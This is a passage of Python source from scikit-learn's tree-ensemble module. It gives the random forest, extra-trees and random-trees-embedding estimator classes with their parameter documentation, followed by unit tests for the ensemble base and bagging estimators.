        effectively inspect more than ``max_features`` features.

    max_depth : integer or None, optional (default=None)
        The maximum depth of the tree. If None, then nodes are expanded until
        all leaves are pure or until all leaves contain less than
        min_samples_split samples.

    min_samples_split : int, float, optional (default=2)
        The minimum number of samples required to split an internal node:

        - If int, then consider `min_samples_split` as the minimum number.
        - If float, then `min_samples_split` is a percentage and
          `ceil(min_samples_split * n_samples)` are the minimum
          number of samples for each split.

    min_samples_leaf : int, float, optional (default=1)
        The minimum number of samples required to be at a leaf node:

        - If int, then consider `min_samples_leaf` as the minimum number.
        - If float, then `min_samples_leaf` is a percentage and
          `ceil(min_samples_leaf * n_samples)` are the minimum
          number of samples for each node.

    min_weight_fraction_leaf : float, optional (default=0.)
        The minimum weighted fraction of the input samples required to be at a
        leaf node.

    max_leaf_nodes : int or None, optional (default=None)
        Grow trees with ``max_leaf_nodes`` in best-first fashion.
        Best nodes are defined as relative reduction in impurity.
        If None then unlimited number of leaf nodes.

    min_impurity_split : float, optional (default=1e-7)
        Threshold for early stopping in tree growth. A node will split
        if its impurity is above the threshold, otherwise it is a leaf.

        .. versionadded:: 0.18

    bootstrap : boolean, optional (default=True)
        Whether bootstrap samples are used when building trees.

    oob_score : bool (default=False)
        Whether to use out-of-bag samples to estimate
        the generalization accuracy.

    n_jobs : integer, optional (default=1)
        The number of jobs to run in parallel for both `fit` and `predict`.
        If -1, then the number of jobs is set to the number of cores.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    verbose : int, optional (default=0)
        Controls the verbosity of the tree building process.

    warm_start : bool, optional (default=False)
        When set to ``True``, reuse the solution of the previous call to fit
        and add more estimators to the ensemble, otherwise, just fit a whole
        new forest.

    class_weight : dict, list of dicts, "balanced",
        "balanced_subsample" or None, optional (default=None)
        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one. For
        multi-output problems, a list of dicts can be provided in the same
        order as the columns of y.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

        The "balanced_subsample" mode is the same as "balanced" except that
        weights are computed based on the bootstrap sample for every tree
        grown.

        For multi-output, the weights of each column of y will be multiplied.

        Note that these weights will be multiplied with sample_weight (passed
        through the fit method) if sample_weight is specified.

    Attributes
    ----------
    estimators_ : list of DecisionTreeClassifier
        The collection of fitted sub-estimators.

    classes_ : array of shape = [n_classes] or a list of such arrays
        The classes labels (single output problem), or a list of arrays of
        class labels (multi-output problem).

    n_classes_ : int or list
        The number of classes (single output problem), or a list containing the
        number of classes for each output (multi-output problem).

    n_features_ : int
        The number of features when ``fit`` is performed.

    n_outputs_ : int
        The number of outputs when ``fit`` is performed.

    feature_importances_ : array of shape = [n_features]
        The feature importances (the higher, the more important the feature).

    oob_score_ : float
        Score of the training dataset obtained using an out-of-bag estimate.

    oob_decision_function_ : array of shape = [n_samples, n_classes]
        Decision function computed with out-of-bag estimate on the training
        set. If n_estimators is small it might be possible that a data point
        was never left out during the bootstrap. In this case,
        `oob_decision_function_` might contain NaN.

    References
    ----------

    .. [1] L. Breiman, "Random Forests", Machine Learning, 45(1), 5-32, 2001.

    See also
    --------
    DecisionTreeClassifier, ExtraTreesClassifier
    """
    def __init__(self,
                 n_estimators=10,
                 criterion="gini",
                 max_depth=None,
                 min_samples_split=2,
                 min_samples_leaf=1,
                 min_weight_fraction_leaf=0.,
                 max_features="auto",
                 max_leaf_nodes=None,
                 min_impurity_split=1e-7,
                 bootstrap=True,
                 oob_score=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0,
                 warm_start=False,
                 class_weight=None):
        super(RandomForestClassifier, self).__init__(
            base_estimator=DecisionTreeClassifier(),
            n_estimators=n_estimators,
            estimator_params=("criterion", "max_depth", "min_samples_split",
                              "min_samples_leaf", "min_weight_fraction_leaf",
                              "max_features", "max_leaf_nodes", "min_impurity_split",
                              "random_state"),
            bootstrap=bootstrap,
            oob_score=oob_score,
            n_jobs=n_jobs,
            random_state=random_state,
            verbose=verbose,
            warm_start=warm_start,
            class_weight=class_weight)

        self.criterion = criterion
        self.max_depth = max_depth
        self.min_samples_split = min_samples_split
        self.min_samples_leaf = min_samples_leaf
        self.min_weight_fraction_leaf = min_weight_fraction_leaf
        self.max_features = max_features
        self.max_leaf_nodes = max_leaf_nodes
        self.min_impurity_split = min_impurity_split


class RandomForestRegressor(ForestRegressor):
    """A random forest regressor.

    A random forest is a meta estimator that fits a number of classifying
    decision trees on various sub-samples of the dataset and use averaging
    to improve the predictive accuracy and control over-fitting.
    The sub-sample size is always the same as the original
    input sample size but the samples are drawn with replacement if
    `bootstrap=True` (default).

    Read more in the :ref:`User Guide <forest>`.

    Parameters
    ----------
    n_estimators : integer, optional (default=10)
        The number of trees in the forest.

    criterion : string, optional (default="mse")
        The function to measure the quality of a split. Supported criteria
        are "mse" for the mean squared error, which is equal to variance
        reduction as feature selection criterion, and "mae" for the mean
        absolute error.

        .. versionadded:: 0.18
           Mean Absolute Error (MAE) criterion.

    max_features : int, float, string or None, optional (default="auto")
        The number of features to consider when looking for the best split:

        - If int, then consider `max_features` features at each split.
        - If float, then `max_features` is a percentage and
          `int(max_features * n_features)` features are considered at each
          split.
        - If "auto", then `max_features=n_features`.
        - If "sqrt", then `max_features=sqrt(n_features)`.
        - If "log2", then `max_features=log2(n_features)`.
        - If None, then `max_features=n_features`.

        Note: the search for a split does not stop until at least one
        valid partition of the node samples is found, even if it requires to
        effectively inspect more than ``max_features`` features.

    max_depth : integer or None, optional (default=None)
        The maximum depth of the tree. If None, then nodes are expanded until
        all leaves are pure or until all leaves contain less than
        min_samples_split samples.

    min_samples_split : int, float, optional (default=2)
        The minimum number of samples required to split an internal node:

        - If int, then consider `min_samples_split` as the minimum number.
        - If float, then `min_samples_split` is a percentage and
          `ceil(min_samples_split * n_samples)` are the minimum
          number of samples for each split.

    min_samples_leaf : int, float, optional (default=1)
        The minimum number of samples required to be at a leaf node:

        - If int, then consider `min_samples_leaf` as the minimum number.
        - If float, then `min_samples_leaf` is a percentage and
          `ceil(min_samples_leaf * n_samples)` are the minimum
          number of samples for each node.

    min_weight_fraction_leaf : float, optional (default=0.)
        The minimum weighted fraction of the input samples required to be at a
        leaf node.

    max_leaf_nodes : int or None, optional (default=None)
        Grow trees with ``max_leaf_nodes`` in best-first fashion.
        Best nodes are defined as relative reduction in impurity.
        If None then unlimited number of leaf nodes.

    min_impurity_split : float, optional (default=1e-7)
        Threshold for early stopping in tree growth. A node will split
        if its impurity is above the threshold, otherwise it is a leaf.

        .. versionadded:: 0.18

    bootstrap : boolean, optional (default=True)
        Whether bootstrap samples are used when building trees.

    oob_score : bool, optional (default=False)
        whether to use out-of-bag samples to estimate
        the R^2 on unseen data.

    n_jobs : integer, optional (default=1)
        The number of jobs to run in parallel for both `fit` and `predict`.
        If -1, then the number of jobs is set to the number of cores.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    verbose : int, optional (default=0)
        Controls the verbosity of the tree building process.

    warm_start : bool, optional (default=False)
        When set to ``True``, reuse the solution of the previous call to fit
        and add more estimators to the ensemble, otherwise, just fit a whole
        new forest.

    Attributes
    ----------
    estimators_ : list of DecisionTreeRegressor
        The collection of fitted sub-estimators.

    feature_importances_ : array of shape = [n_features]
        The feature importances (the higher, the more important the feature).

    n_features_ : int
        The number of features when ``fit`` is performed.

    n_outputs_ : int
        The number of outputs when ``fit`` is performed.

    oob_score_ : float
        Score of the training dataset obtained using an out-of-bag estimate.

    oob_prediction_ : array of shape = [n_samples]
        Prediction computed with out-of-bag estimate on the training set.

    References
    ----------

    .. [1] L. Breiman, "Random Forests", Machine Learning, 45(1), 5-32, 2001.

    See also
    --------
    DecisionTreeRegressor, ExtraTreesRegressor
    """
    def __init__(self,
                 n_estimators=10,
                 criterion="mse",
                 max_depth=None,
                 min_samples_split=2,
                 min_samples_leaf=1,
                 min_weight_fraction_leaf=0.,
                 max_features="auto",
                 max_leaf_nodes=None,
                 min_impurity_split=1e-7,
                 bootstrap=True,
                 oob_score=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0,
                 warm_start=False):
        super(RandomForestRegressor, self).__init__(
            base_estimator=DecisionTreeRegressor(),
            n_estimators=n_estimators,
            estimator_params=("criterion", "max_depth", "min_samples_split",
                              "min_samples_leaf", "min_weight_fraction_leaf",
                              "max_features", "max_leaf_nodes", "min_impurity_split",
                              "random_state"),
            bootstrap=bootstrap,
            oob_score=oob_score,
            n_jobs=n_jobs,
            random_state=random_state,
            verbose=verbose,
            warm_start=warm_start)

        self.criterion = criterion
        self.max_depth = max_depth
        self.min_samples_split = min_samples_split
        self.min_samples_leaf = min_samples_leaf
        self.min_weight_fraction_leaf = min_weight_fraction_leaf
        self.max_features = max_features
        self.max_leaf_nodes = max_leaf_nodes
        self.min_impurity_split = min_impurity_split


class ExtraTreesClassifier(ForestClassifier):
    """An extra-trees classifier.

    This class implements a meta estimator that fits a number of
    randomized decision trees (a.k.a. extra-trees) on various sub-samples
    of the dataset and use averaging to improve the predictive accuracy
    and control over-fitting.

    Read more in the :ref:`User Guide <forest>`.

    Parameters
    ----------
    n_estimators : integer, optional (default=10)
        The number of trees in the forest.

    criterion : string, optional (default="gini")
        The function to measure the quality of a split. Supported criteria are
        "gini" for the Gini impurity and "entropy" for the information gain.

    max_features : int, float, string or None, optional (default="auto")
        The number of features to consider when looking for the best split:

        - If int, then consider `max_features` features at each split.
        - If float, then `max_features` is a percentage and
          `int(max_features * n_features)` features are considered at each
          split.
        - If "auto", then `max_features=sqrt(n_features)`.
        - If "sqrt", then `max_features=sqrt(n_features)`.
        - If "log2", then `max_features=log2(n_features)`.
        - If None, then `max_features=n_features`.

        Note: the search for a split does not stop until at least one
        valid partition of the node samples is found, even if it requires to
        effectively inspect more than ``max_features`` features.

    max_depth : integer or None, optional (default=None)
        The maximum depth of the tree. If None, then nodes are expanded until
        all leaves are pure or until all leaves contain less than
        min_samples_split samples.

    min_samples_split : int, float, optional (default=2)
        The minimum number of samples required to split an internal node:

        - If int, then consider `min_samples_split` as the minimum number.
        - If float, then `min_samples_split` is a percentage and
          `ceil(min_samples_split * n_samples)` are the minimum
          number of samples for each split.

    min_samples_leaf : int, float, optional (default=1)
        The minimum number of samples required to be at a leaf node:

        - If int, then consider `min_samples_leaf` as the minimum number.
        - If float, then `min_samples_leaf` is a percentage and
          `ceil(min_samples_leaf * n_samples)` are the minimum
          number of samples for each node.

    min_weight_fraction_leaf : float, optional (default=0.)
        The minimum weighted fraction of the input samples required to be at a
        leaf node.

    max_leaf_nodes : int or None, optional (default=None)
        Grow trees with ``max_leaf_nodes`` in best-first fashion.
        Best nodes are defined as relative reduction in impurity.
        If None then unlimited number of leaf nodes.

    min_impurity_split : float, optional (default=1e-7)
        Threshold for early stopping in tree growth. A node will split
        if its impurity is above the threshold, otherwise it is a leaf.

        .. versionadded:: 0.18

    bootstrap : boolean, optional (default=False)
        Whether bootstrap samples are used when building trees.

    oob_score : bool, optional (default=False)
        Whether to use out-of-bag samples to estimate
        the generalization accuracy.

    n_jobs : integer, optional (default=1)
        The number of jobs to run in parallel for both `fit` and `predict`.
        If -1, then the number of jobs is set to the number of cores.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    verbose : int, optional (default=0)
        Controls the verbosity of the tree building process.

    warm_start : bool, optional (default=False)
        When set to ``True``, reuse the solution of the previous call to fit
        and add more estimators to the ensemble, otherwise, just fit a whole
        new forest.

    class_weight : dict, list of dicts, "balanced", "balanced_subsample" or None, optional (default=None)
        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one. For
        multi-output problems, a list of dicts can be provided in the same
        order as the columns of y.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

        The "balanced_subsample" mode is the same as "balanced" except that weights are
        computed based on the bootstrap sample for every tree grown.

        For multi-output, the weights of each column of y will be multiplied.

        Note that these weights will be multiplied with sample_weight (passed
        through the fit method) if sample_weight is specified.

    Attributes
    ----------
    estimators_ : list of DecisionTreeClassifier
        The collection of fitted sub-estimators.

    classes_ : array of shape = [n_classes] or a list of such arrays
        The classes labels (single output problem), or a list of arrays of
        class labels (multi-output problem).

    n_classes_ : int or list
        The number of classes (single output problem), or a list containing the
        number of classes for each output (multi-output problem).

    feature_importances_ : array of shape = [n_features]
        The feature importances (the higher, the more important the feature).

    n_features_ : int
        The number of features when ``fit`` is performed.

    n_outputs_ : int
        The number of outputs when ``fit`` is performed.

    oob_score_ : float
        Score of the training dataset obtained using an out-of-bag estimate.

    oob_decision_function_ : array of shape = [n_samples, n_classes]
        Decision function computed with out-of-bag estimate on the training
        set. If n_estimators is small it might be possible that a data point
        was never left out during the bootstrap. In this case,
        `oob_decision_function_` might contain NaN.

    References
    ----------

    .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees",
           Machine Learning, 63(1), 3-42, 2006.

    See also
    --------
    sklearn.tree.ExtraTreeClassifier : Base classifier for this ensemble.
    RandomForestClassifier : Ensemble Classifier based on trees with optimal
        splits.
    """
    def __init__(self,
                 n_estimators=10,
                 criterion="gini",
                 max_depth=None,
                 min_samples_split=2,
                 min_samples_leaf=1,
                 min_weight_fraction_leaf=0.,
                 max_features="auto",
                 max_leaf_nodes=None,
                 min_impurity_split=1e-7,
                 bootstrap=False,
                 oob_score=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0,
                 warm_start=False,
                 class_weight=None):
        super(ExtraTreesClassifier, self).__init__(
            base_estimator=ExtraTreeClassifier(),
            n_estimators=n_estimators,
            estimator_params=("criterion", "max_depth", "min_samples_split",
                              "min_samples_leaf", "min_weight_fraction_leaf",
                              "max_features", "max_leaf_nodes", "min_impurity_split",
                              "random_state"),
            bootstrap=bootstrap,
            oob_score=oob_score,
            n_jobs=n_jobs,
            random_state=random_state,
            verbose=verbose,
            warm_start=warm_start,
            class_weight=class_weight)

        self.criterion = criterion
        self.max_depth = max_depth
        self.min_samples_split = min_samples_split
        self.min_samples_leaf = min_samples_leaf
        self.min_weight_fraction_leaf = min_weight_fraction_leaf
        self.max_features = max_features
        self.max_leaf_nodes = max_leaf_nodes
        self.min_impurity_split = min_impurity_split


class ExtraTreesRegressor(ForestRegressor):
    """An extra-trees regressor.

    This class implements a meta estimator that fits a number of
    randomized decision trees (a.k.a. extra-trees) on various sub-samples
    of the dataset and use averaging to improve the predictive accuracy
    and control over-fitting.

    Read more in the :ref:`User Guide <forest>`.

    Parameters
    ----------
    n_estimators : integer, optional (default=10)
        The number of trees in the forest.

    criterion : string, optional (default="mse")
        The function to measure the quality of a split. Supported criteria
        are "mse" for the mean squared error, which is equal to variance
        reduction as feature selection criterion, and "mae" for the mean
        absolute error.

        .. versionadded:: 0.18
           Mean Absolute Error (MAE) criterion.

    max_features : int, float, string or None, optional (default="auto")
        The number of features to consider when looking for the best split:

        - If int, then consider `max_features` features at each split.
        - If float, then `max_features` is a percentage and
          `int(max_features * n_features)` features are considered at each
          split.
        - If "auto", then `max_features=n_features`.
        - If "sqrt", then `max_features=sqrt(n_features)`.
        - If "log2", then `max_features=log2(n_features)`.
        - If None, then `max_features=n_features`.

        Note: the search for a split does not stop until at least one
        valid partition of the node samples is found, even if it requires to
        effectively inspect more than ``max_features`` features.

    max_depth : integer or None, optional (default=None)
        The maximum depth of the tree. If None, then nodes are expanded until
        all leaves are pure or until all leaves contain less than
        min_samples_split samples.

    min_samples_split : int, float, optional (default=2)
        The minimum number of samples required to split an internal node:

        - If int, then consider `min_samples_split` as the minimum number.
        - If float, then `min_samples_split` is a percentage and
          `ceil(min_samples_split * n_samples)` are the minimum
          number of samples for each split.

    min_samples_leaf : int, float, optional (default=1)
        The minimum number of samples required to be at a leaf node:

        - If int, then consider `min_samples_leaf` as the minimum number.
        - If float, then `min_samples_leaf` is a percentage and
          `ceil(min_samples_leaf * n_samples)` are the minimum
          number of samples for each node.

    min_weight_fraction_leaf : float, optional (default=0.)
        The minimum weighted fraction of the input samples required to be at a
        leaf node.

    max_leaf_nodes : int or None, optional (default=None)
        Grow trees with ``max_leaf_nodes`` in best-first fashion.
        Best nodes are defined as relative reduction in impurity.
        If None then unlimited number of leaf nodes.

    min_impurity_split : float, optional (default=1e-7)
        Threshold for early stopping in tree growth. A node will split
        if its impurity is above the threshold, otherwise it is a leaf.

        .. versionadded:: 0.18

    bootstrap : boolean, optional (default=False)
        Whether bootstrap samples are used when building trees.

    oob_score : bool, optional (default=False)
        Whether to use out-of-bag samples to estimate the R^2 on unseen data.

    n_jobs : integer, optional (default=1)
        The number of jobs to run in parallel for both `fit` and `predict`.
        If -1, then the number of jobs is set to the number of cores.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    verbose : int, optional (default=0)
        Controls the verbosity of the tree building process.

    warm_start : bool, optional (default=False)
        When set to ``True``, reuse the solution of the previous call to fit
        and add more estimators to the ensemble, otherwise, just fit a whole
        new forest.

    Attributes
    ----------
    estimators_ : list of DecisionTreeRegressor
        The collection of fitted sub-estimators.

    feature_importances_ : array of shape = [n_features]
        The feature importances (the higher, the more important the feature).

    n_features_ : int
        The number of features.

    n_outputs_ : int
        The number of outputs.

    oob_score_ : float
        Score of the training dataset obtained using an out-of-bag estimate.

    oob_prediction_ : array of shape = [n_samples]
        Prediction computed with out-of-bag estimate on the training set.

    References
    ----------

    .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees",
           Machine Learning, 63(1), 3-42, 2006.

    See also
    --------
    sklearn.tree.ExtraTreeRegressor: Base estimator for this ensemble.
    RandomForestRegressor: Ensemble regressor using trees with optimal splits.
    """
    def __init__(self,
                 n_estimators=10,
                 criterion="mse",
                 max_depth=None,
                 min_samples_split=2,
                 min_samples_leaf=1,
                 min_weight_fraction_leaf=0.,
                 max_features="auto",
                 max_leaf_nodes=None,
                 min_impurity_split=1e-7,
                 bootstrap=False,
                 oob_score=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0,
                 warm_start=False):
        super(ExtraTreesRegressor, self).__init__(
            base_estimator=ExtraTreeRegressor(),
            n_estimators=n_estimators,
            estimator_params=("criterion", "max_depth", "min_samples_split",
                              "min_samples_leaf", "min_weight_fraction_leaf",
                              "max_features", "max_leaf_nodes", "min_impurity_split",
                              "random_state"),
            bootstrap=bootstrap,
            oob_score=oob_score,
            n_jobs=n_jobs,
            random_state=random_state,
            verbose=verbose,
            warm_start=warm_start)

        self.criterion = criterion
        self.max_depth = max_depth
        self.min_samples_split = min_samples_split
        self.min_samples_leaf = min_samples_leaf
        self.min_weight_fraction_leaf = min_weight_fraction_leaf
        self.max_features = max_features
        self.max_leaf_nodes = max_leaf_nodes
        self.min_impurity_split = min_impurity_split


class RandomTreesEmbedding(BaseForest):
    """An ensemble of totally random trees.

    An unsupervised transformation of a dataset to a high-dimensional
    sparse representation. A datapoint is coded according to which leaf of
    each tree it is sorted into. Using a one-hot encoding of the leaves,
    this leads to a binary coding with as many ones as there are trees in
    the forest.

    The dimensionality of the resulting representation is
    ``n_out <= n_estimators * max_leaf_nodes``. If ``max_leaf_nodes == None``,
    the number of leaf nodes is at most ``n_estimators * 2 ** max_depth``.

    Read more in the :ref:`User Guide <random_trees_embedding>`.

    Parameters
    ----------
    n_estimators : integer, optional (default=10)
        Number of trees in the forest.

    max_depth : integer, optional (default=5)
        The maximum depth of each tree. If None, then nodes are expanded until
        all leaves are pure or until all leaves contain less than
        min_samples_split samples.

    min_samples_split : int, float, optional (default=2)
        The minimum number of samples required to split an internal node:

        - If int, then consider `min_samples_split` as the minimum number.
        - If float, then `min_samples_split` is a percentage and
          `ceil(min_samples_split * n_samples)` is the minimum
          number of samples for each split.

    min_samples_leaf : int, float, optional (default=1)
        The minimum number of samples required to be at a leaf node:

        - If int, then consider `min_samples_leaf` as the minimum number.
        - If float, then `min_samples_leaf` is a percentage and
          `ceil(min_samples_leaf * n_samples)` is the minimum
          number of samples for each node.

    min_weight_fraction_leaf : float, optional (default=0.)
        The minimum weighted fraction of the input samples required to be at a
        leaf node.

    max_leaf_nodes : int or None, optional (default=None)
        Grow trees with ``max_leaf_nodes`` in best-first fashion.
        Best nodes are defined as relative reduction in impurity.
        If None then unlimited number of leaf nodes.

    min_impurity_split : float, optional (default=1e-7)
        Threshold for early stopping in tree growth. A node will split
        if its impurity is above the threshold, otherwise it is a leaf.

        .. versionadded:: 0.18

    sparse_output : bool, optional (default=True)
        Whether or not to return a sparse CSR matrix, as default behavior,
        or to return a dense array compatible with dense pipeline operators.

    n_jobs : integer, optional (default=1)
        The number of jobs to run in parallel for both `fit` and `predict`.
        If -1, then the number of jobs is set to the number of cores.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    verbose : int, optional (default=0)
        Controls the verbosity of the tree building process.

    warm_start : bool, optional (default=False)
        When set to ``True``, reuse the solution of the previous call to fit
        and add more estimators to the ensemble, otherwise, just fit a whole
        new forest.

    Attributes
    ----------
    estimators_ : list of DecisionTreeClassifier
        The collection of fitted sub-estimators.

    References
    ----------
    .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees",
           Machine Learning, 63(1), 3-42, 2006.
    .. [2] Moosmann, F. and Triggs, B. and Jurie, F.  "Fast discriminative
           visual codebooks using randomized clustering forests"
           NIPS 2007

    """

    def __init__(self,
                 n_estimators=10,
                 max_depth=5,
                 min_samples_split=2,
                 min_samples_leaf=1,
                 min_weight_fraction_leaf=0.,
                 max_leaf_nodes=None,
                 min_impurity_split=1e-7,
                 sparse_output=True,
                 n_jobs=1,
                 random_state=None,
                 verbose=0,
                 warm_start=False):
        super(RandomTreesEmbedding, self).__init__(
            base_estimator=ExtraTreeRegressor(),
            n_estimators=n_estimators,
            estimator_params=("criterion", "max_depth", "min_samples_split",
                              "min_samples_leaf", "min_weight_fraction_leaf",
                              "max_features", "max_leaf_nodes", "min_impurity_split",
                              "random_state"),
            bootstrap=False,
            oob_score=False,
            n_jobs=n_jobs,
            random_state=random_state,
            verbose=verbose,
            warm_start=warm_start)

        self.criterion = 'mse'
        self.max_depth = max_depth
        self.min_samples_split = min_samples_split
        self.min_samples_leaf = min_samples_leaf
        self.min_weight_fraction_leaf = min_weight_fraction_leaf
        self.max_features = 1
        self.max_leaf_nodes = max_leaf_nodes
        self.min_impurity_split = min_impurity_split
        self.sparse_output = sparse_output

    def _set_oob_score(self, X, y):
        raise NotImplementedError("OOB score not supported by tree embedding")

    def fit(self, X, y=None, sample_weight=None):
        """Fit estimator.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
            The input samples. Use ``dtype=np.float32`` for maximum
            efficiency. Sparse matrices are also supported, use sparse
            ``csc_matrix`` for maximum efficiency.

        Returns
        -------
        self : object
            Returns self.

        """
        self.fit_transform(X, y, sample_weight=sample_weight)
        return self

    def fit_transform(self, X, y=None, sample_weight=None):
        """Fit estimator and transform dataset.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
            Input data used to build forests. Use ``dtype=np.float32`` for
            maximum efficiency.

        Returns
        -------
        X_transformed : sparse matrix, shape=(n_samples, n_out)
            Transformed dataset.
        """
        # ensure_2d=False because there are actually unit test checking we fail
        # for 1d.
        X = check_array(X, accept_sparse=['csc'], ensure_2d=False)
        if issparse(X):
            # Pre-sort indices to avoid that each individual tree of the
            # ensemble sorts the indices.
            X.sort_indices()

        rnd = check_random_state(self.random_state)
        y = rnd.uniform(size=X.shape[0])
        super(RandomTreesEmbedding, self).fit(X, y,
                                              sample_weight=sample_weight)

        self.one_hot_encoder_ = OneHotEncoder(sparse=self.sparse_output)
        return self.one_hot_encoder_.fit_transform(self.apply(X))

    def transform(self, X):
        """Transform dataset.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
            Input data to be transformed. Use ``dtype=np.float32`` for maximum
            efficiency. Sparse matrices are also supported, use sparse
            ``csr_matrix`` for maximum efficiency.

        Returns
        -------
        X_transformed : sparse matrix, shape=(n_samples, n_out)
            Transformed dataset.
        """
        return self.one_hot_encoder_.transform(self.apply(X))






"""
Testing for the base module (sklearn.ensemble.base).
"""

# Authors: Gilles Louppe
# License: BSD 3 clause

from numpy.testing import assert_equal
from nose.tools import assert_true

from sklearn.utils.testing import assert_raise_message
from sklearn.datasets import load_iris
from sklearn.ensemble import BaggingClassifier
from sklearn.linear_model import Perceptron


def test_base():
    # Check BaseEnsemble methods.
    ensemble = BaggingClassifier(base_estimator=Perceptron(), n_estimators=3)

    iris = load_iris()
    ensemble.fit(iris.data, iris.target)
    ensemble.estimators_ = []  # empty the list and create estimators manually

    ensemble._make_estimator()
    ensemble._make_estimator()
    ensemble._make_estimator()
    ensemble._make_estimator(append=False)

    assert_equal(3, len(ensemble))
    assert_equal(3, len(ensemble.estimators_))

    assert_true(isinstance(ensemble[0], Perceptron))


def test_base_zero_n_estimators():
    # Check that instantiating a BaseEnsemble with n_estimators<=0 raises
    # a ValueError.
    ensemble = BaggingClassifier(base_estimator=Perceptron(), n_estimators=0)
    iris = load_iris()
    assert_raise_message(ValueError,
                         "n_estimators must be greater than zero, got 0.",
                         ensemble.fit, iris.data, iris.target)






"""
Testing for the bagging ensemble module (sklearn.ensemble.bagging).
"""

# Author: Gilles Louppe
# License: BSD 3 clause

import numpy as np

from sklearn.base import BaseEstimator

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_warns_message

from sklearn.dummy import DummyClassifier, DummyRegressor
from sklearn.model_selection import GridSearchCV, ParameterGrid
from sklearn.ensemble import BaggingClassifier, BaggingRegressor
from sklearn.linear_model import Perceptron, LogisticRegression
from sklearn.neighbors import KNeighborsClassifier, KNeighborsRegressor
from sklearn.tree import DecisionTreeClassifier, DecisionTreeRegressor
from sklearn.svm import SVC, SVR
from sklearn.pipeline import make_pipeline
from sklearn.feature_selection import SelectKBest
from sklearn.model_selection import train_test_split
from sklearn.datasets import load_boston, load_iris, make_hastie_10_2
from sklearn.utils import check_random_state

from scipy.sparse import csc_matrix, csr_matrix

rng = check_random_state(0)

# also load the iris dataset
# and randomly permute it
iris = load_iris()
perm = rng.permutation(iris.target.size)
iris.data = iris.data[perm]
iris.target = iris.target[perm]

# also load the boston dataset
# and randomly permute it
boston = load_boston()
perm = rng.permutation(boston.target.size)
boston.data = boston.data[perm]
boston.target = boston.target[perm]


def test_classification():
    # Check classification for various parameter settings.
    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(iris.data,
                                                        iris.target,
                                                        random_state=rng)
    grid = ParameterGrid({"max_samples": [0.5, 1.0],
                          "max_features": [1, 2, 4],
                          "bootstrap": [True, False],
                          "bootstrap_features": [True, False]})

    for base_estimator in [None,
                           DummyClassifier(),
                           Perceptron(),
                           DecisionTreeClassifier(),
                           KNeighborsClassifier(),
                           SVC()]:
        for params in grid:
            BaggingClassifier(base_estimator=base_estimator,
                              random_state=rng,
                              **params).fit(X_train, y_train).predict(X_test)


def test_sparse_classification():
    # Check classification for various parameter settings on sparse input.

    class CustomSVC(SVC):
        """SVC variant that records the nature of the training set"""

        def fit(self, X, y):
            super(CustomSVC, self).fit(X, y)
            self.data_type_ = type(X)
            return self

    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(iris.data,
                                                        iris.target,
                                                        random_state=rng)
    parameter_sets = [
        {"max_samples": 0.5,
         "max_features": 2,
         "bootstrap": True,
         "bootstrap_features": True},
        {"max_samples": 1.0,
         "max_features": 4,
         "bootstrap": True,
         "bootstrap_features": True},
        {"max_features": 2,
         "bootstrap": False,
         "bootstrap_features": True},
        {"max_samples": 0.5,
         "bootstrap": True,
         "bootstrap_features": False},
    ]

    for sparse_format in [csc_matrix, csr_matrix]:
        X_train_sparse = sparse_format(X_train)
        X_test_sparse = sparse_format(X_test)
        for params in parameter_sets:
            for f in ['predict', 'predict_proba', 'predict_log_proba', 'decision_function']:
                # Trained on sparse format
                sparse_classifier = BaggingClassifier(
                    base_estimator=CustomSVC(decision_function_shape='ovr'),
                    random_state=1,
                    **params
                ).fit(X_train_sparse, y_train)
                sparse_results = getattr(sparse_classifier, f)(X_test_sparse)

                # Trained on dense format
                dense_classifier = BaggingClassifier(
                    base_estimator=CustomSVC(decision_function_shape='ovr'),
                    random_state=1,
                    **params
                ).fit(X_train, y_train)
                dense_results = getattr(dense_classifier, f)(X_test)
                assert_array_equal(sparse_results, dense_results)

            sparse_type = type(X_train_sparse)
            types = [i.data_type_ for i in sparse_classifier.estimators_]

            assert all([t == sparse_type for t in types])


def test_regression():
    # Check regression for various parameter settings.
    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(boston.data[:50],
                                                        boston.target[:50],
                                                        random_state=rng)
    grid = ParameterGrid({"max_samples": [0.5, 1.0],
